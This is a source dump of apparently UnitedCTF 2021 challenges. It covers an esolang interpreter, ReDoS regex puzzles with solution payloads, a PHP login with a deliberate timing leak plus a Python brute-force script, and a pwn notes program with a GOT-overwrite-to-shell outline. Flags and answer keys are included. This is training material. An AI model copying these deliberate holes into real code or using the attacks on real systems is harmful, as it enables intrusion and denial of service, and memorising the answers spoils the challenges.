15 | DROP = ord('_')
16 | SPACE = ord('?')
17 | ADD = ord('+')
18 | SUBTRACT = ord('-')
19 | INPUT = ord(',')
20 |
21 | class Direction(Enum):
22 | LEFT = 0
23 | RIGHT = 1
24 | UP = 2
25 | DOWN = 3
26 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/py/ctf/player.py:
--------------------------------------------------------------------------------
1 | from .enums import Direction
2 |
3 | from typing import List, Tuple
4 |
5 | class Backpack:
6 | __stack: List[int]
7 |
8 | def __init__(self, stack: List[int] = None):
9 | if stack == None:
10 | self.__stack = []
11 | else:
12 | self.__stack = stack
13 |
14 | def push(self, val: int):
15 | self.__stack.append(val)
16 |
17 | def pop(self) -> int:
18 | return self.__stack.pop()
19 |
20 | def peek(self, depth: int = 0) -> int:
21 | return self.__stack[-depth - 1]
22 |
23 | def empty(self) -> bool:
24 | return len(self.__stack) == 0
25 |
26 | def size(self) -> int:
27 | return len(self.__stack)
28 |
29 | def __str__(self) -> str:
30 | return str([bytes([c]) for c in list(reversed(self.__stack))])
31 |
32 | class Player:
33 | __position: Tuple[int, int]
34 | direction: Direction
35 | __backpack: Backpack
36 | alive: bool
37 |
38 | def __init__(self, position: Tuple[int, int]):
39 | self.__position = position
40 | self.direction = Direction.RIGHT
41 | self.__backpack = Backpack()
42 | self.alive = True
43 |
44 | def step(self) -> bool:
45 | if not self.alive: return False
46 |
47 | if self.direction.value < 2:
48 | self.__position = (self.__position[0] + self.direction.value * 2 - 1, self.__position[1])
49 | else:
50 | self.__position = (self.__position[0], self.__position[1] + (self.direction.value - 2) * 2 - 1)
51 |
52 | return True
53 |
54 | @property
55 | def position(self) -> Tuple[int, int]:
56 | return self.__position
57 |
58 | @property
59 | def backpack(self) -> Backpack:
60 | return self.__backpack
61 |
62 | def __str__(self) -> str:
63 | return f"Player {self.__position}: {self.__backpack}"
64 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/py/ctfl.py:
--------------------------------------------------------------------------------
1 | from ctf import Interpreter
2 |
3 | import argparse
4 | import time
5 |
6 | if __name__ == '__main__':
7 | parser = argparse.ArgumentParser(description="CTFLang Interpreter.")
8 | parser.add_argument('file', help="File to interpret.")
9 | parser.add_argument('--verbose', help='Displays interpreter memory.', action='store_true')
10 | parser.add_argument('--delay', help='Delay for verbose mode.', type=float, default=0.1)
11 | args = parser.parse_args()
12 |
13 | with open(args.file, 'rb') as h:
14 | code = b''.join(h.readlines())
15 |
16 | interpreter = Interpreter(code)
17 |
18 | while interpreter.step():
19 | if args.verbose:
20 | interpreter.visualize()
21 | time.sleep(args.delay)
22 |
23 | print(interpreter.output.decode('utf8'))
24 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/tests/alphabet.ctf:
--------------------------------------------------------------------------------
1 | +--++-----------++--+
2 | |@ >>A >$. Z=v!!>> #|
3 | +--++ ^+-01!< ++--+
4 | +-----------+
--------------------------------------------------------------------------------
/challenges/programming/esolang/tests/delay.ctf:
--------------------------------------------------------------------------------
1 | +--------+
2 | |@ v|
3 | +------+ |
4 | +------+ |
5 | |v 9<0<<|
6 | | + +-+
7 | | - |
8 | | 0 |
9 | |= 1 |
10 | |> !^ +-------+
11 | |> !!> #|
12 | +------+-------+
--------------------------------------------------------------------------------
/challenges/programming/esolang/tests/generator.ctf:
--------------------------------------------------------------------------------
1 | +-----------+
2 | +----++>> A$+B- v ++-----+
3 | |@ >>^ >v _ >> #|
4 | +----++ ^ < ++-----+
5 | | ^ < |
6 | +-----------+
--------------------------------------------------------------------------------
/challenges/programming/esolang/tests/hello.ctf:
--------------------------------------------------------------------------------
1 | @ 0 OLLEH 0 > v0? ._=v!#
3 | ^ < WORLD
4 | ^ < ^<^<^<^<^<^<^<^<^<^<^<^<0
5 | @ ^
--------------------------------------------------------------------------------
/challenges/programming/esolang/tests/input.ctf:
--------------------------------------------------------------------------------
1 | +-++-----++-+
2 | |@>>0>,=v>>#|
3 | +-++ ^ .<++-+
4 | +-----+
--------------------------------------------------------------------------------
/challenges/programming/esolang/tests/meta.ctf:
--------------------------------------------------------------------------------
1 | @ZA$+D-0>v
2 | A
3 | +$
4 | -+
5 | 0B
6 | 1-
7 | > _ 7=vv#<
8 | ^< ! .
9 | > _^
10 | ^ !<
--------------------------------------------------------------------------------
/challenges/programming/esolang/tests/one.ctf:
--------------------------------------------------------------------------------
1 | +--------+
2 | |@ v|
3 | |v <|
4 | + -------+
5 | |>@ @v|
6 | +------| |
7 | +-----++v+
8 | | v 01<<<|
9 | |>_v |+-+
10 | | 1 |+-------+
11 | |!= >!>> #|
12 | |^< ! |+-------+
13 | | > ^ |+-------+
14 | | >!!>> #|
15 | +-----++-------+
--------------------------------------------------------------------------------
/challenges/programming/esolang/web/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
2 | public/ctfl.js
--------------------------------------------------------------------------------
/challenges/programming/esolang/web/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "ctfl-server",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "ts-node ./src/index.ts",
8 | "dev": "ts-node-dev ./src/index.ts",
9 | "tsci": "tsc --init"
10 | },
11 | "author": "",
12 | "license": "MIT",
13 | "dependencies": {
14 | "ejs": "^3.1.6",
15 | "express": "^4.17.1"
16 | },
17 | "devDependencies": {
18 | "@types/express": "^4.17.13",
19 | "ts-node-dev": "^1.1.8",
20 | "typescript": "^4.3.5"
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/web/partials/base-head.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/web/partials/bootstrap.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/web/partials/footer.ejs:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/web/partials/nav.ejs:
--------------------------------------------------------------------------------
1 |
2 |
17 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/web/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/programming/esolang/web/public/favicon.ico
--------------------------------------------------------------------------------
/challenges/programming/esolang/web/views/challenge.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 | CTFLang | Challenge
4 | <%- include('../partials/base-head.ejs') %>
5 | <%- include('../partials/bootstrap.ejs') %>
6 |
17 |
18 |
19 | <%- include('../partials/nav.ejs') %>
20 |
21 | Enter a program to reverse
a "0" terminated string from stdin
:
22 |
29 | <%- include('../partials/footer.ejs') %>
30 |
31 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/web/views/gallery.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 | CTFLang | Gallery
4 | <%- include('../partials/base-head.ejs') %>
5 | <%- include('../partials/bootstrap.ejs') %>
6 |
14 |
15 |
16 | <%- include('../partials/nav.ejs') %>
17 |
18 | <% programs.forEach(function(program) {%>
19 |
20 |
21 |
22 |
23 | <%= Buffer.from(program.program, 'base64') %>
24 |
25 |
26 |
<%= program.name %>
27 |
28 |
<%= program.description %>
29 |
View
30 |
31 |
32 |
33 |
34 |
35 | <% }); %>
36 | <%- include('../partials/footer.ejs') %>
37 |
38 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/writeups/1/README.md:
--------------------------------------------------------------------------------
1 | # Writeup
2 |
3 | The challenge prompt is a CTFLang script. You can copy the code in the interpreter and get the flag.
4 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/writeups/2/README.md:
--------------------------------------------------------------------------------
1 | # Writeup
2 |
3 | The challenge is pretty long and can be very overwhelming at first. You may notice what looks like blocks, this was made intentionally to give a more "modular" design. You'll want to tackle the challenge block-by-block to solve fully.
4 |
5 | ## Header Module
6 |
7 | The first block is both an `@` generator and `TF` valdiator. The `@` are fed into the following blocks, and the output is fed back up to the validator. If you get a `F` output, you'll see that the `T` is removed from the drop in the validator.
8 |
9 | ## Validator Modules
10 |
11 | All subsequent blocks are small challenges. They take one `@` and pass it through the validating body. You can simplify the task by taking out the block and debugging the specific block. Some blocks trick you by using data from elsewhere. There is no special trick, keep track of the stacks and check the outputs.
12 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/writeups/3/README.md:
--------------------------------------------------------------------------------
1 | # Writeup
2 |
3 | Given this is a programming challenge, there are various correct answers. The following is one of the simplest.
4 |
5 | ```
6 | @0>,0=v!!>0=v#
7 | ^ !< ^.!<
8 | ```
9 |
10 | It was based off of the `Input` example. Instead of printing right away, we can use the fact that push/popping from a stack will reverse the string (the second loop).
11 |
--------------------------------------------------------------------------------
/challenges/programming/redos/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM tjoloi/alpine-with-regex-python
2 |
3 | RUN mkdir app/
4 |
5 | WORKDIR app/
6 | COPY src/ .
--------------------------------------------------------------------------------
/challenges/programming/redos/README.md:
--------------------------------------------------------------------------------
1 | # Redos Track
2 | > Author: @tjoloi
3 |
4 | ## Challenges
5 | - [1. Introduction to Redos](chall1.md)
6 | - [2. Email Validation](chall2.md)
7 | - [3. Coding Interviwe](chall3.md)
8 | - [4. The real challenge](chall4.md)
9 |
10 | ## Ressources
11 | - [Python regex doc](https://docs.python.org/3/library/re.html)
12 | - [OWASP article on redos](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
13 | - [Wikipedia page on redos](https://en.wikipedia.org/wiki/ReDoS)
14 |
15 | ## Setup
16 |
17 | ### Requirements
18 | - docker
19 | - docker-compose
20 |
21 | ### How to run
22 | - Execute the command `docker-compose up`
23 |
--------------------------------------------------------------------------------
/challenges/programming/redos/chall1.md:
--------------------------------------------------------------------------------
1 | # 1. Introduction to Redos
2 |
3 | Hi and congratz on getting the job. Even though we like you and your skillset, we must make sure that you're able to learn enough for this.\
4 | It's going to be pretty easy, we give you 3 trials of increasing difficulty then the real deal.
5 |
6 | You job is to craft a Redos attack, don't worry we reproduced the environment localy so you don't have any risk of getting caught while crafting your payload.\
7 | The first trial is extremely basic but I still suggest you read a bit on the subject before going in.
8 |
9 | You can enter a maximum of 8 characters and need to achieve 2000 steps. Every trial also comes with the file used to validate the regex. Good luck!
10 |
11 | - **Max chars:** *8*
12 | - **Threshold:** *2000 iterations*
13 | - [Regex File](https://github.com/UnitedCTF/UnitedCTF-2021/new/redos-oli/challenges/programming/redos/src/challenge1.py)
14 |
15 | ## WriteUp
16 |
17 | To abuse a redos, we need to find a double group repetition. The next step is to make that "double group" as long as we can, every char about doubles the number of steps.\
18 | Then we need to make sure that the regex doesn't shortcircuit, which happens when the engine already knows that it either matches or doesn't.
19 |
20 | For this one challenge the formula looks a bit like this:
21 | - 16 base iterations (whatever the word is)
22 | - multiplied by 2^n, where n is the number of chars matched by \w before the first one that doesn't match.
23 | - substract 3 steps for whatever reason
24 |
25 | So we can easily see that ever character counts when exploting a redos. For example if we had 16 chars instead of 8, the max would be 524 285 instead of 2045.\
26 | The solution is simply to put 7 alphanumerical chars then anything else.
27 |
28 | ## Solution
29 | `Hi_nerd!`
30 |
31 | ## Flag
32 | `FLAG-BabysFirstRedos`
33 |
--------------------------------------------------------------------------------
/challenges/programming/redos/chall2.md:
--------------------------------------------------------------------------------
1 | # 2. Email Validation
2 |
3 | Now that you understand the basics of a redos, let's start you on your next trial.
4 |
5 | One of us used to work in a company that wanted to cook their own email validation regex. Being as concerned about the quality of their code as they were, they gave the task to a first year intern.\
6 | It may not be the safest regex but damn, first time I see good documentation on one.
7 |
8 | *Tip: If you need help decoding a regex, websites such as [regexr](www.regexr.com) do a great job at explaining what each part does.*
9 |
10 | - **Max chars:** *32*
11 | - **Threshold:** *40k iterations*
12 | - [Regex File](https://github.com/UnitedCTF/UnitedCTF-2021/new/redos-oli/challenges/programming/redos/src/challenge2.py)
13 |
14 | ## WriteUp
15 |
16 | The catch is that, in the **higherLevelDomains** group, the dot isn't escaped, which means that it ends up being a `(.\w+)+` which you can abuse by putting as much alphanumeric chars as you want.
17 | If you put anything else than an alphanumeric char, it significantly reduces the number of iterations since it can only be matched by the dot instead of having thousands of possibilities like we want with a redos.
18 | The last exclamation mark is there to make sure it doesn't shortcircuits a match. Since it's not followed by an alphanumerical character it will be matched by the dot but not the \w (which is needed because of the +).
19 |
20 | Bonus:\
21 | The "followingWord" group is there to show how to escape the dot in a regex.
22 |
23 | ## Solution
24 | `united.ctf@xXHaxorzPwnz1337Xx!`
25 |
26 | ## Flag
27 | `FLAG-EmailAddressesAreHard`
28 |
--------------------------------------------------------------------------------
/challenges/programming/redos/chall3.md:
--------------------------------------------------------------------------------
1 | # 3. Coding Interview
2 |
3 | We're impressed so far. Time to prove your worth one last time.
4 |
5 | A while back we managed to get our hands on a "language detector" and had a good laugh at their algorithm.\
6 | Anyway, we extracted the c++ one and sent it to you. Good luck!
7 |
8 | - **Max chars:** *32*
9 | - **Threshold:** *64k iterations*
10 | - [Regex File](https://github.com/UnitedCTF/UnitedCTF-2021/new/redos-oli/challenges/programming/redos/src/challenge3.py)
11 |
12 | ## WriteUp
13 |
14 | The redos is a bit harder to find on this one, it's `(?(lib)[A-z =]*|[0-9])+`.\
15 | To abuse it, the group named **lib** must exist and then it's easy as spamming letters, spaces and equals then ending the string with something that won't match (in my case, a number)\
16 | The **import_statement** has absolutely no use at all.\
17 | The **lib** must be an *m* followed by any lowercase letter followed by *lloc*. One could technically write `mzlloc`.
18 |
19 | ## Solution
20 | `#import malloc; int flag = 1337`
21 |
22 | ## Flag
23 | `FLAG-AlwaysPepperSomeMallocHereAndThere`
24 |
--------------------------------------------------------------------------------
/challenges/programming/redos/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.0"
2 |
3 | services:
4 | app:
5 | build:
6 | context: "."
7 | ports:
8 | - "31337:31337"
9 | tty: true
10 | command: python3 ./launch_server.py
--------------------------------------------------------------------------------
/challenges/programming/redos/src/challenge1.py:
--------------------------------------------------------------------------------
1 | import re
2 |
3 | msg = input()
4 | r = r'^(\w*)+$'
5 | re.match(r, msg)
--------------------------------------------------------------------------------
/challenges/programming/redos/src/challenge2.py:
--------------------------------------------------------------------------------
1 | import re
2 |
3 | regex = r'^(?P\w+)(?P\.\w+)*(?P\+\w+)?@(?P\w+)(?P.\w+)+$'
4 |
5 | # firstWord: Match un premier "mot" [A-z0-9]
6 | # followingWords: Comme beaucoup de monde mettent plusieurs mots séparés par un ., on tente d'en matcher plusieurs.
7 | # extention: Dans notre dataset, j'ai vu des addresse qui ressemblaient à ça: addresse+unMot@exemple.com aucune idée de ce que ça fait, mais faut le supporter.
8 | # subdomain: On doit avoir un domaine initial
9 | # higherLevelDomains: Et avoir au moins 1 domaine de plus haut niveau (séparé par un . à chaque fois)
10 |
11 | msg = input()
12 | re.match(regex, msg)
--------------------------------------------------------------------------------
/challenges/programming/redos/src/challenge3.py:
--------------------------------------------------------------------------------
1 | import re
2 |
3 | msg = input()
4 | r = r'^(?P#import)((?P m[a-z]l{2,10}((?<=l{2})oc))|.);(?(lib)[A-z =]*|[0-9])+$'
5 | re.match(r, msg)
--------------------------------------------------------------------------------
/challenges/programming/redos/src/challenge4.py:
--------------------------------------------------------------------------------
1 | import re
2 |
3 | msg = input()
4 | a = sum(map(ord, msg)) % 35
5 | b = len(msg.split('_')[0])
6 | c = len(msg)
7 |
8 | reg_str = f'^((?P\\S)|(?P(? )|(?P\\s)){{{c % 16}}}(?(a{c})(?(a{b})(?P=a{a})+|(?(a14)\\w+|(?P=a23)))|_)+$'
9 | regex = re.compile(reg_str)
10 | regex.match(msg)
--------------------------------------------------------------------------------
/challenges/programming/redos/src/exceptions.py:
--------------------------------------------------------------------------------
1 | class InvalidInputError(Exception):
2 | pass
--------------------------------------------------------------------------------
/challenges/programming/redos/src/launch_server.py:
--------------------------------------------------------------------------------
1 | from handler import Handler
2 | import socketserver
3 | import json
4 | import exceptions
5 | import os
6 |
7 | from datetime import datetime
8 |
9 | def json_serial(obj):
10 | """JSON serializer for objects not serializable by default json code"""
11 | if isinstance(obj, datetime):
12 | return obj.isoformat()
13 | raise TypeError(f'Type {type(obj)} not serializable')
14 |
15 | # Implement your custom code here
16 | class CustomTCPServer(socketserver.ThreadingTCPServer):
17 | def __init__(self, *args, **kwargs):
18 | super().__init__(*args, **kwargs)
19 |
20 | def handle_error(self, request, address):
21 | pass
22 |
23 | port = 31337
24 | print(f'Starting server on internal port: {port}')
25 | address = ('0.0.0.0', port)
26 | s = CustomTCPServer(address, Handler)
27 | s.serve_forever()
--------------------------------------------------------------------------------
/challenges/programming/redos/src/secrets.py:
--------------------------------------------------------------------------------
1 | flags = {
2 | 'challenge1.py': 'FLAG-BabysFirstRedos',
3 | 'challenge2.py': 'FLAG-EmailAddressesAreHard',
4 | 'challenge3.py': 'FLAG-AlwaysPepperSomeMallocHereAndThere',
5 | 'challenge4.py': 'FLAG-ForgiveMeFatherForIHaveSinned'
6 | }
7 |
8 | chall1 = 'Hi_nerd!'
9 | chall2 = 'united.ctf@xXHaxorzPwnz1337Xx!'
10 | chall3 = '#import malloc; int flag = 1337'
11 | chall4 = 'f \tffffffffffffffffffff_DaddyIssues'
--------------------------------------------------------------------------------
/challenges/programming/timingattack/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
--------------------------------------------------------------------------------
/challenges/programming/timingattack/README.md:
--------------------------------------------------------------------------------
1 | # Timing attack
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Jean-François, un consultant en cybersécurité, a créé un nouvel algorithme de hashage et de comparaison qui permet de vérifier des mots de passe. Il semble que lorsqu'on lui soumet un bon mot de passe, l'algorithme est très rapide. Cependant, il est lent lorsque le mot de passe est mauvais.
8 |
9 | Pouvez-vous prouver à Jean-François que son algorithme a un défaut de sécurité grave? (connectez-vous comme "admin")
10 |
11 | ## Setup
12 |
13 | Requirements:
14 | - Savoir programmer (ex: Python)
15 |
16 | # Writeup
17 |
18 | Voir `writeup.py`. Le flag est `FLAG-dXMbMHuEn47ZqwHEdtPYR3BDEBshBnEAcDqtpDY8`.
19 |
--------------------------------------------------------------------------------
/challenges/programming/timingattack/src/user.php:
--------------------------------------------------------------------------------
1 | pDY8";
5 | $passlen = strlen($password); // 44
6 |
7 | if (isset($_GET['logout'])) {
8 | $_SESSION["page"] = "default";
9 | $_SESSION["failed"] = false;
10 | }
11 |
12 | if (isset($_POST['u']) && !empty($_POST['u'])) {
13 | if (isset($_POST['p']) && !empty($_POST['p'])) {
14 | if ($_POST['u'] === "admin") {
15 | $userpass = $_POST['p'];
16 | $len = strlen($userpass);
17 | $len = ($len < $passlen ? $len : $passlen);
18 | $failed = false;
19 | for ($i = 0; $i < $len; $i++) {
20 | // artificial delay when a character is wrong
21 | if ($password[$i] != $userpass[$i]) {
22 | $failed = true;
23 | usleep(150000); // 150 ms
24 | break;
25 | }
26 | }
27 |
28 | if (strlen($userpass) != $passlen) {
29 | $failed = true;
30 | }
31 |
32 | if ($failed) {
33 | $_SESSION["page"] = "default";
34 | $_SESSION["failed"] = true;
35 | } else {
36 | $_SESSION["failed"] = false;
37 | $_SESSION["page"] = "loggedin";
38 | }
39 |
40 | } else {
41 | $_SESSION["failed"] = true;
42 | }
43 | }
44 | }
45 |
46 | header('Location: index.php');
47 | ?>
48 |
--------------------------------------------------------------------------------
/challenges/programming/timingattack/writeup.py:
--------------------------------------------------------------------------------
1 | # Test script for "Timing attack" challenge
2 | import requests
3 | import time
4 |
5 | URL = 'http://localhost:8081/user.php'
6 | CHARS = "aAbBcdDEHhMnPpqRstuwXYZ>()+3478;"
7 |
8 | known = ""
9 |
10 | s = requests.Session()
11 |
12 | i = 0
13 | d = {}
14 | while True:
15 | start = time.time();
16 | r = s.post(URL, data = {'u': 'admin', 'p': known + CHARS[i]})
17 | end = time.time();
18 |
19 | if "Login failed. Try again." not in r.text:
20 | # The flag will be in the body
21 | print(r.text) # FLAG-dXMbMHuEn47ZqwHEdtPYR3BDEBshBnEAcDqtpDY8
22 | break
23 |
24 | # It's clear from the time delta that guessing the wrong
25 | # character will cause a 150 ms delay, so we could stop
26 | # as soon we get a delta smaller than 150 ms ... but we
27 | # don't do this here.
28 | print(end - start)
29 | d[CHARS[i]] = end - start
30 |
31 | i += 1
32 | if i >= len(CHARS):
33 | i = 0
34 | print(min(d, key=d.get))
35 | known += min(d, key=d.get)
36 | d = {}
37 |
38 |
--------------------------------------------------------------------------------
/challenges/pwn/simple_notes/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | # Install requirements
4 | RUN dpkg --add-architecture i386 && apt-get update -y && apt-get upgrade -y && apt install -y xinetd libc6:i386
5 |
6 | # Add user
7 | RUN useradd simple_notes -m
8 |
9 | # Copy config
10 | COPY simple_notes.conf /root/simple_notes.conf
11 |
12 | # Copy binary
13 | COPY simple_notes /home/simple_notes/simple_notes
14 |
15 | # Copy flag
16 | COPY flag.txt /home/simple_notes/flag.txt
17 |
18 | # Set permissions
19 | RUN chown -R root:simple_notes /home/simple_notes
20 | RUN chmod -R 750 /home/simple_notes
21 | RUN chmod 440 /home/simple_notes/flag.txt
22 |
23 | # Start daemon
24 | EXPOSE 9999
25 | CMD ["/usr/sbin/xinetd", "-dontfork", "-f", "/root/simple_notes.conf"]
--------------------------------------------------------------------------------
/challenges/pwn/simple_notes/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc -m32 -no-pie -fno-stack-protector -o simple_notes simple_notes.c
3 |
--------------------------------------------------------------------------------
/challenges/pwn/simple_notes/README.md:
--------------------------------------------------------------------------------
1 | # Simple notes
2 |
3 | Tags: `pwn`
4 |
5 | Level: Medium
6 |
7 | ## Description
8 | I needed a way to take quick notes on the command line. I might have missed something...
9 |
10 | Executable: `simple_notes`
11 |
12 | Source code: `simple_notes.c`
13 |
14 | Libc: `libc.so.6`
15 |
16 | `nc [SERVER ADDRESS] [CHALLENGE PORT]`
17 |
18 | ## Solution
19 | The index check in the `create_note` function is slightly wrong, allowing 257 notes instead of 256. The additional note overwrites the index in the array of notes.
20 | We can control the index by setting the note importance. By setting the index to a low negative value, we can abuse a signed/unsigned type confusion and read arbitrary data with the `read_note` function. We use it to leak the `libc` base address using a populated GOT entry. We can then overwrite another GOT entry with a `one_gadget` or a pointer to `system`. There are a few restrictions however. One way to solve this is to overwrite the `atoi` GOT entry with `system` using the `edit_note` function. When asked for the note size, enter `/bin/sh` and enjoy a shell.
21 |
22 | ## How to run
23 | Build the executable.
24 | ~~~
25 | make
26 | ~~~
27 | Build the docker container.
28 | ~~~
29 | docker build -t simple_notes .
30 | ~~~
31 | Fetch `libc`.
32 | ~~~
33 | docker run --rm -v $(pwd):/vol simple_notes /bin/bash -c 'cp $(ldd /home/simple_notes/simple_notes | grep libc | cut -d " " -f 3) /vol/'
34 | ~~~
35 | Run the container.
36 | ~~~
37 | docker run --rm -p 9999:9999 simple_notes
38 | ~~~
39 |
40 | ## How to change the flag
41 | 1. Modify flag.txt
42 | 2. Rebuild the docker image.
43 |
44 | ## Author:
45 | Colin Stephenne (Niftic)
46 |
47 |
--------------------------------------------------------------------------------
/challenges/pwn/simple_notes/flag.txt:
--------------------------------------------------------------------------------
1 | FLAG-b21f3c6ea1d1edd90800f802e73d839f
2 |
--------------------------------------------------------------------------------
/challenges/pwn/simple_notes/simple_notes:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/pwn/simple_notes/simple_notes
--------------------------------------------------------------------------------
/challenges/pwn/simple_notes/simple_notes.conf:
--------------------------------------------------------------------------------
1 | service simple_notes
2 | {
3 | disable = no
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = simple_notes
8 | bind = 0.0.0.0
9 | server = /home/simple_notes/simple_notes
10 | type = UNLISTED
11 | port = 9999
12 | }
13 |
--------------------------------------------------------------------------------
/challenges/reverse/bootme/.gitignore:
--------------------------------------------------------------------------------
1 | /*.bin
--------------------------------------------------------------------------------
/challenges/reverse/bootme/Makefile:
--------------------------------------------------------------------------------
1 | default:
2 | nasm -f bin boot.asm -o boot.bin
3 |
4 | boot:
5 | qemu-system-x86_64 \
6 | -drive file=boot.bin,format=raw,if=floppy
7 |
8 | debug:
9 | qemu-system-x86_64 -S -s \
10 | -drive file=boot.bin,format=raw &
11 | gdb -nh \
12 | -ex "target remote localhost:1234" \
13 | -ex "set architecture i8086" \
14 | -ex "break *0x7c00"
15 |
16 | clean:
17 | rm boot.bin
--------------------------------------------------------------------------------
/challenges/reverse/bootme/README.md:
--------------------------------------------------------------------------------
1 | # Reverse Boot sector 16/32 bits
2 | > Reverse
3 | Author: @KptCheeseWhiz
4 |
5 | ## Challenge
6 | Can you run this?
7 |
8 | ## Resources
9 | - https://linux.die.net/man/1/qemu-kvm
10 | - https://github.com/cfenollosa/os-tutorial
11 |
12 | ## Setup
13 |
14 | ### Requirements
15 | - nasm
16 | - qemu
17 |
18 | ### How to run
19 | - Test : `make && make boot`
20 | - Debug : `make && make debug`
21 |
--------------------------------------------------------------------------------
/challenges/reverse/bootme/boot.asm:
--------------------------------------------------------------------------------
1 | [org 0x7c00]
2 | [bits 16]
3 |
4 | xor ax, ax
5 | mov ds, ax
6 | mov es, ax
7 | mov bx, 0x8000 ; stack base
8 |
9 | cli
10 | mov ss, bx
11 | mov sp, ax
12 | sti
13 |
14 | cld
15 |
16 | xor ah, ah
17 | mov al, 0x03
18 | int 0x10
19 | xor al, al
20 |
21 | jmp 0x0000:main
22 |
23 | print:
24 | pusha
25 | mov si, ax
26 |
27 | _print_loop:
28 | lodsb
29 | cmp al, 0
30 | je _print_done
31 | mov ah, 0x0e
32 | ror al, 4
33 | xor al, 0x40
34 | int 0x10
35 | inc si
36 | jmp _print_loop
37 |
38 | _print_done:
39 | popa
40 | ret
41 |
42 | main:
43 | mov ax, FLAG
44 | call print
45 |
46 | halt:
47 | cli
48 | hlt
49 | jmp halt
50 |
51 | FLAG:
52 | db 0x60, 0xeb, 0xc0, 0x1b, 0x10, 0xcd, 0x70, 0x10, 0xd6, 0x7c
53 | db 0x71, 0x0c, 0x50, 0x31, 0xc0, 0x34, 0x30, 0xe4, 0xf0, 0x04
54 | db 0xd0, 0xb4, 0x50, 0x00, 0xf1, 0x40, 0x41, 0x3c, 0xf0, 0xc8
55 | db 0xf1, 0x7c, 0x17, 0xbb, 0x67, 0xc6, 0x20, 0xac, 0x90, 0x60
56 | db 0x41, 0x3d, 0x31, 0x00, 0x00
57 |
58 | times 510-($-$$) db 0x0
59 | dw 0xAA55
60 |
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/.gitignore:
--------------------------------------------------------------------------------
1 | build/
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/attachments/Pasted image 20210909140915.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/character_customization/attachments/Pasted image 20210909140915.png
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/attachments/Pasted image 20210909200733.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/character_customization/attachments/Pasted image 20210909200733.png
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/attachments/Pasted image 20210909201022.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/character_customization/attachments/Pasted image 20210909201022.png
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/private/.dockerignore:
--------------------------------------------------------------------------------
1 | Dockerfile
2 | docker-compose.yml
3 |
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/private/Dockerfile:
--------------------------------------------------------------------------------
1 | # syntax=docker/dockerfile:1
2 |
3 | FROM python:3.8-slim-buster
4 |
5 | WORKDIR /usr/src/app
6 |
7 | COPY . .
8 |
9 | EXPOSE 9003
10 |
11 | CMD ["python3", "server.py"]
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/private/character_customization:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/character_customization/private/character_customization
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/private/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.3"
2 | services:
3 | server:
4 | build: .
5 | environment:
6 | - SERVER_PORT=9003
7 | - URL=0.0.0.0
8 | - PROGRAM_NAME=character_customization
9 | ports:
10 | - 9003:9003
11 |
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/private/flag.txt:
--------------------------------------------------------------------------------
1 | FLAG-REVERSING_IS_FUN_19as8933
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/private/server.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import os
3 | import subprocess
4 |
5 | listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6 | listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True)
7 | listener.bind((os.environ.get("URL"), int(os.environ.get("SERVER_PORT"))))
8 | listener.listen(5)
9 | print(listener.getsockname())
10 |
11 | try:
12 | while True:
13 | client, addr = listener.accept()
